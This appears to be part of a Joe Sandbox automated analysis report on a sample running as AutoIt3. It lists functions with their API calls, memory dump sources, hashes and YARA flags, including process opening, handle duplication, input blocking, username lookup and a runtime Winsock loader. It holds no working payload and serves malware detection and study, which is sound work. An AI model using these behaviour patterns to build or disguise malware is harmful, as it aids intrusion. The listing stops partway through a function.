Opcode ID: 2897f9517a7ff52d7e2b190920e545bd48d8860aa8926c5c3964eaae7a8f7700
Instruction ID: c92b0908d368acb6db5f6a565252fc184f3a3621e7e66ecb8b4e88278392fcbb
Opcode Fuzzy Hash: 2897f9517a7ff52d7e2b190920e545bd48d8860aa8926c5c3964eaae7a8f7700
Instruction Fuzzy Hash: 2741E878A046099FDF10EFA5C88499EB7F9FF48304F5045F69518A7261DB34AE45CE50

Function 008A494A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,0088FC86), ref: 008A495A
FindFirstFileW.KERNEL32(?,?), ref: 008A496B
FindClose.KERNEL32(00000000), ref: 008A497B

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 86c02c3b7a8d69979c7f89b0f1593a3f718a50862abe5636aac1e58e9b473563
Instruction ID: 5fef858f5830e6034906131e1447cfda986cef1d0325c9e3ef0cd9260300b80a
Opcode Fuzzy Hash: 86c02c3b7a8d69979c7f89b0f1593a3f718a50862abe5636aac1e58e9b473563
Instruction Fuzzy Hash: E6E0D832411505976A106B38EC0D9EB7F5CFE47339F240706F435C15E0EBB099544A95

Function 03BB4420 Relevance: 3.0, APIs: 2, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQueryObject.NTDLL(00000000,00000002,00000000,000003E8,?), ref: 03BB443D
NtQueryObject.NTDLL(00000000,00000002,00000000,?,00000000), ref: 03BB4457

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: ObjectQuery
String ID:
API String ID: 2748340528-0
Opcode ID: 5254b56f05d533f48c8665119b81399497df23a973e7046bd2545e69bb58942d
Instruction ID: 8b43eaaed785f29551dd8353e935cf4ebbf1e4449d258c8e432d63b57a1742df
Opcode Fuzzy Hash: 5254b56f05d533f48c8665119b81399497df23a973e7046bd2545e69bb58942d
Instruction Fuzzy Hash: BBF082763083006FE310EA299C80EAF67ECDFC2669F0049B9F584DF281DA74DC0083A1

Function 03B6CC88 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,03B6CCEC), ref: 03B6CCAE
GetACP.KERNEL32(?,?,00001004,?,00000007,00000000,03B6CCEC), ref: 03B6CCC7

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 7a5b2eb4f6c2084667433066dbdfc7186bff0d8f8b96a9cd0fd81a198cd7f655
Instruction ID: b0d12f2186d4420387a01677201d244f001a656138fa82d728c164f509634d03
Opcode Fuzzy Hash: 7a5b2eb4f6c2084667433066dbdfc7186bff0d8f8b96a9cd0fd81a198cd7f655
Instruction Fuzzy Hash: 0FF09635E047087FEB04EBA1D85199EB7AEEBC9718F40C8B5A610DB691EA7C65018690

Function 00F21179 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00F211DD), ref: 00F2119F
GetACP.KERNEL32(?,?,00001004,?,00000007,00000000,00F211DD), ref: 00F211B8

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 224dd8865447ec904e8fff3341d5ab81726e56924f0ef133b7d867cdcbf6970a
Instruction ID: 12ffe007bf2f188e4b41fef73729c3553c24e91325f2aa5ef822ed2548c3369f
Opcode Fuzzy Hash: 224dd8865447ec904e8fff3341d5ab81726e56924f0ef133b7d867cdcbf6970a
Instruction Fuzzy Hash: 63F06D35E042086BEB00EAE2DC528DEB7AEEB89710F50C965AA1096680EA78A6549650

Function 008AA6AD Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,008B9B52,?,008D098C,?), ref: 008AA6DA
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,?,?,008B9B52,?,008D098C,?), ref: 008AA6EC

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 8356396d68d9dd4b875fa59198f209a48405154e721a48ce7cb07c2fcee54b17
Instruction ID: f2cac124ed4b7e3c02d270ed947adec72a676b76784f90bfe97a808eea85afcc
Opcode Fuzzy Hash: 8356396d68d9dd4b875fa59198f209a48405154e721a48ce7cb07c2fcee54b17
Instruction Fuzzy Hash: C4F0823550522DBBEF21AFA8CC48FEA776CFF09361F008256B908D6581E6309940CFA1

Function 03BB43EC Relevance: 3.0, APIs: 2, Instructions: 24nativeCOMMON

Download Yara Rule

APIs

NtDuplicateObject.NTDLL(00000000,?,000000FF,?,00000000,00000000,00000001), ref: 03BB4402
NtClose.NTDLL(00000000), ref: 03BB4414

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CloseDuplicateObject
String ID:
API String ID: 2007153175-0
Opcode ID: 499bd1f262d624634163559af9a4955ab4277e80dd8ff4a4dab6f04b0e4f05ab
Instruction ID: c72dafde23a818d5325da2c9dd3f68f5a600549d1ea03801818b1ef9057448f3
Opcode Fuzzy Hash: 499bd1f262d624634163559af9a4955ab4277e80dd8ff4a4dab6f04b0e4f05ab
Instruction Fuzzy Hash: 4AD05B7525532039E520F3965C81FFB679CDF8537DF1446B2B564DF1C1C9905800C271

Function 0086A385 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00868F87,?,?,?,00000001), ref: 0086A38A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 0086A393

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 983875568ed2d38b2dae9af888af1ccccbb5c07bcb99f5605c363604c524118f
Instruction ID: 74ce0c856bb5686bf0b9156f08af150afbf79c28f046fb9256678b694ca01da1
Opcode Fuzzy Hash: 983875568ed2d38b2dae9af888af1ccccbb5c07bcb99f5605c363604c524118f
Instruction Fuzzy Hash: D2B09231065208ABCA442BD5FC09B883F68FB44A62F004112F60D44260CB6254508E91

Function 03B66470 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,03B664D6), ref: 03B66496

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 307fe11355dbc1551d87e6a20ce2cbf5c5b429555b141c0a9f8dead71e49d805
Instruction ID: 0da9d0909bb7ee981263208508656699af0553181b1195887337ae4f2f480896
Opcode Fuzzy Hash: 307fe11355dbc1551d87e6a20ce2cbf5c5b429555b141c0a9f8dead71e49d805
Instruction Fuzzy Hash: 36F0FC34E04709AFE714DF91CD51ADEF3B6FBC4714F4088B5952457591EBB82A04C680

Function 00F1E14D Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00F1E1B3), ref: 00F1E173

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: d1c9e55b41cd3600f548a5cc7b1e265323c5f3c98702b0f538ebd9755784088f
Instruction ID: 4863804498dbdbd8230bd598865c41eb7247cd7c5b675d6594fd201bd482953a
Opcode Fuzzy Hash: d1c9e55b41cd3600f548a5cc7b1e265323c5f3c98702b0f538ebd9755784088f
Instruction Fuzzy Hash: 4FF0FC31A44309BFEB04DFE1CC419DEB377F784710F408975A910671C0E7B86684D690

Function 03BB4478 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtOpenProcess.NTDLL(00000040,00000040,?,?), ref: 03BB44AE

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: OpenProcess
String ID:
API String ID: 3743895883-0
Opcode ID: 00ad92aaf9fa49b4035a91161300e7bb27135b23f29f5e02676106f688d4a1ca
Instruction ID: dfa6d49949d82e03ad84a24b8e54eca27b721cddbd96cc78721b89a751846e17
Opcode Fuzzy Hash: 00ad92aaf9fa49b4035a91161300e7bb27135b23f29f5e02676106f688d4a1ca
Instruction Fuzzy Hash: 24F037B66043146BD704EFA48CC1BEBB3DDEF88214F04897EB685CB241EA70D9058762

Function 03B6B620 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 03B6B63E

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 4e2a5b3b95e8ec07eeee0b03661a417271766ec7f5ff2d72e04ac86ddd7b86b4
Instruction ID: 72b031863b17e9fed9cbe5aba220b2ed82ce60fea7e7c472bea3a28b5954c297
Opcode Fuzzy Hash: 4e2a5b3b95e8ec07eeee0b03661a417271766ec7f5ff2d72e04ac86ddd7b86b4
Instruction Fuzzy Hash: 7BE0683270030413D700E55A5C80EF6B35CEB5C214F0002FEBD08CB382EDA89D4042E4

Function 00F1FFD5 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 00F1FFF3

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 0958d00eff2e2a4e87f7d0e771be236d2d1a138769560cc5661cf8df98c5b42f
Instruction ID: 33132e3c28a275b791cbfbdfc8a1e17635d6b6c706c578ce83e9eaae2c7579aa
Opcode Fuzzy Hash: 0958d00eff2e2a4e87f7d0e771be236d2d1a138769560cc5661cf8df98c5b42f
Instruction Fuzzy Hash: 4EE0D83370422817D310E558AC82EFAB35C975C310F00026ABD09C7386EDB59DC066E9

Function 008B45D5 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 008B45F0

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 7b5f1d8f288cf1a4abd2baac7557fc22ced2ccddf6359d19030d922b586708cd
Instruction ID: 092acbe5990b40df828995e093dbc39c945f0046d9252efb6a176b19ea638bef
Opcode Fuzzy Hash: 7b5f1d8f288cf1a4abd2baac7557fc22ced2ccddf6359d19030d922b586708cd
Instruction Fuzzy Hash: 0BE04F35210619AFD710AF59E805B9AF7E8FF94760F008416FC49D7352DA70ED418BA1

Function 03B6B66C Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,03B6CF9E,00000000,03B6D1B7,?,?,00000000,00000000), ref: 03B6B67F

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 956bfc8eb0baa39c79a29a52a85197610d2eaa6e73bc067edae8a287f00fd510
Instruction ID: 706eac33a91b16a399fec483136c35b4f67061674374f636d592a298f6322489
Opcode Fuzzy Hash: 956bfc8eb0baa39c79a29a52a85197610d2eaa6e73bc067edae8a287f00fd510
Instruction Fuzzy Hash: CAD05E7630D2503AE614D55B2D84DBB8BACCBCA6A5F0544BEB988CA202D2048C0693B1

Function 00F20021 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,00F2148F,00000000,00F216A8,?,?,00000000,00000000), ref: 00F20034

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 4e58b67718fc07bf895c19e2cec08da597c4d130ba40f02f507b925dc3ff3e4d
Instruction ID: 79a80055021b282904acd6b79eeae47fb82b9e6412ec48e0909f272994b27bc5
Opcode Fuzzy Hash: 4e58b67718fc07bf895c19e2cec08da597c4d130ba40f02f507b925dc3ff3e4d
Instruction Fuzzy Hash: C0D05E6B30D2602BB310D15A6D85EBB5ADCCAC97B0F104039BA8CC6202D6148C06A379

Function 03B7CCB4 Relevance: 1.5, APIs: 1, Instructions: 13networkCOMMON

Download Yara Rule

APIs

bind.WS2_32(000000FF,?,00000000), ref: 03B7CCC4

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: bind
String ID:
API String ID: 1187836755-0
Opcode ID: 9a74fff8f869303bf9fe28e4c0dfb54ede9abc4088baf5491a82aa7a4926fff4
Instruction ID: 164ca52936664d2bb3c899cf03ca0f0dc7a1eba24a04f1f5883c726164ad5cb1
Opcode Fuzzy Hash: 9a74fff8f869303bf9fe28e4c0dfb54ede9abc4088baf5491a82aa7a4926fff4
Instruction Fuzzy Hash: D6C092A6302624AFA201B6BC2EC8CFB56CDCE4E0AA31801B6F609E3201EA944C1013F0

Function 00880722 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00880734

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 5d244820d996cb627d78a52fbd873bc23ce75bf7e0c992095f1b5711fdc3a12c
Instruction ID: c789e808c4eb603493b565cc05a2ddd9271c3b425770d2ec83b48ac3ab12cc63
Opcode Fuzzy Hash: 5d244820d996cb627d78a52fbd873bc23ce75bf7e0c992095f1b5711fdc3a12c
Instruction Fuzzy Hash: F5C04CF180150DEBCB05DBA0D988EEE77BCBB04304F100156A105F2101D7749F448F71

Function 0086A354 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 0086A35A

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 0a4aeff67ca3368b034a88499efa954bbd70c606c9430fc6ca37d1f3f5b2666e
Instruction ID: 78d2c1eb32ad268765f55825c85feaa7398d96a9b34096109ceb6bed64b5878c
Opcode Fuzzy Hash: 0a4aeff67ca3368b034a88499efa954bbd70c606c9430fc6ca37d1f3f5b2666e
Instruction Fuzzy Hash: AAA0113002020CABCA002B8AFC08888BFACEA002A0B008022F80C002228B32A8208A80

Function 00F2A766 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F28000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F28000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f28000_Autoit3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d5486f6e5b9d9d61447aadb6395f99df315b0362e95f2a9dd6700af68e1202b
Instruction ID: ecc1aba427fdb3e563deb107416af0ec4414f083e7a174482aa194726e15a292
Opcode Fuzzy Hash: 2d5486f6e5b9d9d61447aadb6395f99df315b0362e95f2a9dd6700af68e1202b
Instruction Fuzzy Hash: AAF08C33610221EFE761CE19E8C0F15B3B8EF80770F2A04AAE5009B162E720EC44E65A

Function 03B880A4 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2a2d129c8543363c052d008b34330d58e57021dec0e7df0c1a6226ed5b22a4b
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: c2a2d129c8543363c052d008b34330d58e57021dec0e7df0c1a6226ed5b22a4b
Instruction Fuzzy Hash:

Function 03B7D804 Relevance: 145.5, APIs: 43, Strings: 40, Instructions: 284libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,00000000,03B7DC12,?,00000000,03B7DC2F), ref: 03B7D87C
GetProcAddress.KERNEL32(00000000,WSAIoctl), ref: 03B7D894
GetProcAddress.KERNEL32(00000000,__WSAFDIsSet), ref: 03B7D8A6
GetProcAddress.KERNEL32(00000000,closesocket), ref: 03B7D8B8
GetProcAddress.KERNEL32(00000000,ioctlsocket), ref: 03B7D8CA
GetProcAddress.KERNEL32(00000000,WSAGetLastError), ref: 03B7D8DC
GetProcAddress.KERNEL32(00000000,WSAStartup), ref: 03B7D8EE
GetProcAddress.KERNEL32(00000000,WSACleanup), ref: 03B7D900
GetProcAddress.KERNEL32(00000000,accept), ref: 03B7D912
GetProcAddress.KERNEL32(00000000,bind), ref: 03B7D924
GetProcAddress.KERNEL32(00000000,connect), ref: 03B7D936
GetProcAddress.KERNEL32(00000000,getpeername), ref: 03B7D948
GetProcAddress.KERNEL32(00000000,getsockname), ref: 03B7D95A
GetProcAddress.KERNEL32(00000000,getsockopt), ref: 03B7D96C
GetProcAddress.KERNEL32(00000000,htonl), ref: 03B7D97E
GetProcAddress.KERNEL32(00000000,htons), ref: 03B7D990
GetProcAddress.KERNEL32(00000000,inet_addr), ref: 03B7D9A2
GetProcAddress.KERNEL32(00000000,inet_ntoa), ref: 03B7D9B4
GetProcAddress.KERNEL32(00000000,listen), ref: 03B7D9C6
GetProcAddress.KERNEL32(00000000,ntohl), ref: 03B7D9D8
GetProcAddress.KERNEL32(00000000,ntohs), ref: 03B7D9EA
GetProcAddress.KERNEL32(00000000,recv), ref: 03B7D9FC
GetProcAddress.KERNEL32(00000000,recvfrom), ref: 03B7DA0E
GetProcAddress.KERNEL32(00000000,select), ref: 03B7DA20
GetProcAddress.KERNEL32(00000000,send), ref: 03B7DA32
GetProcAddress.KERNEL32(00000000,sendto), ref: 03B7DA44
GetProcAddress.KERNEL32(00000000,setsockopt), ref: 03B7DA56
GetProcAddress.KERNEL32(00000000,shutdown), ref: 03B7DA68
GetProcAddress.KERNEL32(00000000,socket), ref: 03B7DA7A
GetProcAddress.KERNEL32(00000000,gethostbyaddr), ref: 03B7DA8C
GetProcAddress.KERNEL32(00000000,gethostbyname), ref: 03B7DA9E
GetProcAddress.KERNEL32(00000000,getprotobyname), ref: 03B7DAB0
GetProcAddress.KERNEL32(00000000,getprotobynumber), ref: 03B7DAC2
GetProcAddress.KERNEL32(00000000,getservbyname), ref: 03B7DAD4
GetProcAddress.KERNEL32(00000000,getservbyport), ref: 03B7DAE6
GetProcAddress.KERNEL32(00000000,gethostname), ref: 03B7DAF8
GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 03B7DB0A
GetProcAddress.KERNEL32(00000000,freeaddrinfo), ref: 03B7DB1C
GetProcAddress.KERNEL32(00000000,getnameinfo), ref: 03B7DB2E
LoadLibraryA.KERNEL32(wship6.dll,00000000,getnameinfo,00000000,freeaddrinfo,00000000,getaddrinfo,00000000,gethostname,00000000,getservbyport,00000000,getservbyname,00000000,getprotobynumber,00000000), ref: 03B7DB6C
GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 03B7DB8A
GetProcAddress.KERNEL32(00000000,freeaddrinfo), ref: 03B7DB9F
GetProcAddress.KERNEL32(00000000,getnameinfo), ref: 03B7DBB4

Strings

ntohs, xrefs: 03B7D9E2
sendto, xrefs: 03B7DA3C
WSAGetLastError, xrefs: 03B7D8D4
wship6.dll, xrefs: 03B7DB67
htons, xrefs: 03B7D988
getservbyport, xrefs: 03B7DADE
connect, xrefs: 03B7D92E
WSAIoctl, xrefs: 03B7D88C
setsockopt, xrefs: 03B7DA4E
getprotobyname, xrefs: 03B7DAA8
WSAStartup, xrefs: 03B7D8E6
select, xrefs: 03B7DA18
gethostname, xrefs: 03B7DAF0
getprotobynumber, xrefs: 03B7DABA
inet_ntoa, xrefs: 03B7D9AC
closesocket, xrefs: 03B7D8B0
socket, xrefs: 03B7DA72
__WSAFDIsSet, xrefs: 03B7D89E
getsockname, xrefs: 03B7D952
recvfrom, xrefs: 03B7DA06
inet_addr, xrefs: 03B7D99A
send, xrefs: 03B7DA2A
accept, xrefs: 03B7D90A
listen, xrefs: 03B7D9BE
getsockopt, xrefs: 03B7D964
gethostbyname, xrefs: 03B7DA96
ioctlsocket, xrefs: 03B7D8C2
htonl, xrefs: 03B7D976
getaddrinfo, xrefs: 03B7DB02, 03B7DB7F
shutdown, xrefs: 03B7DA60
WSACleanup, xrefs: 03B7D8F8
recv, xrefs: 03B7D9F4
ws2_32.dll, xrefs: 03B7D836
bind, xrefs: 03B7D91C
getservbyname, xrefs: 03B7DACC
getpeername, xrefs: 03B7D940
ntohl, xrefs: 03B7D9D0
gethostbyaddr, xrefs: 03B7DA84
freeaddrinfo, xrefs: 03B7DB14, 03B7DB94
getnameinfo, xrefs: 03B7DB26, 03B7DBA9

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: WSACleanup$WSAGetLastError$WSAIoctl$WSAStartup$__WSAFDIsSet$accept$bind$closesocket$connect$freeaddrinfo$getaddrinfo$gethostbyaddr$gethostbyname$gethostname$getnameinfo$getpeername$getprotobyname$getprotobynumber$getservbyname$getservbyport$getsockname$getsockopt$htonl$htons$inet_addr$inet_ntoa$ioctlsocket$listen$ntohl$ntohs$recv$recvfrom$select$send$sendto$setsockopt$shutdown$socket$ws2_32.dll$wship6.dll
API String ID: 2238633743-3535293950
Opcode ID: e3469ade3627104c75e7c1a9b3d0c934db706753b969ae2e271a06fd8270a5bb
Instruction ID: f5ff4e6b664cf8842b1a8300b0fb1873004b579b21d729fbd26f49200a849a81
Opcode Fuzzy Hash: e3469ade3627104c75e7c1a9b3d0c934db706753b969ae2e271a06fd8270a5bb
Instruction Fuzzy Hash: D4B1BE74642740EFDB00FB74DD85B2A77A8EF0964CB0409FDE460CF65AEAB99850CB91

Function 03B7D802 Relevance: 145.5, APIs: 43, Strings: 40, Instructions: 282libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,00000000,03B7DC12,?,00000000,03B7DC2F), ref: 03B7D87C
GetProcAddress.KERNEL32(00000000,WSAIoctl), ref: 03B7D894
GetProcAddress.KERNEL32(00000000,__WSAFDIsSet), ref: 03B7D8A6
GetProcAddress.KERNEL32(00000000,closesocket), ref: 03B7D8B8
GetProcAddress.KERNEL32(00000000,ioctlsocket), ref: 03B7D8CA
GetProcAddress.KERNEL32(00000000,WSAGetLastError), ref: 03B7D8DC
GetProcAddress.KERNEL32(00000000,WSAStartup), ref: 03B7D8EE
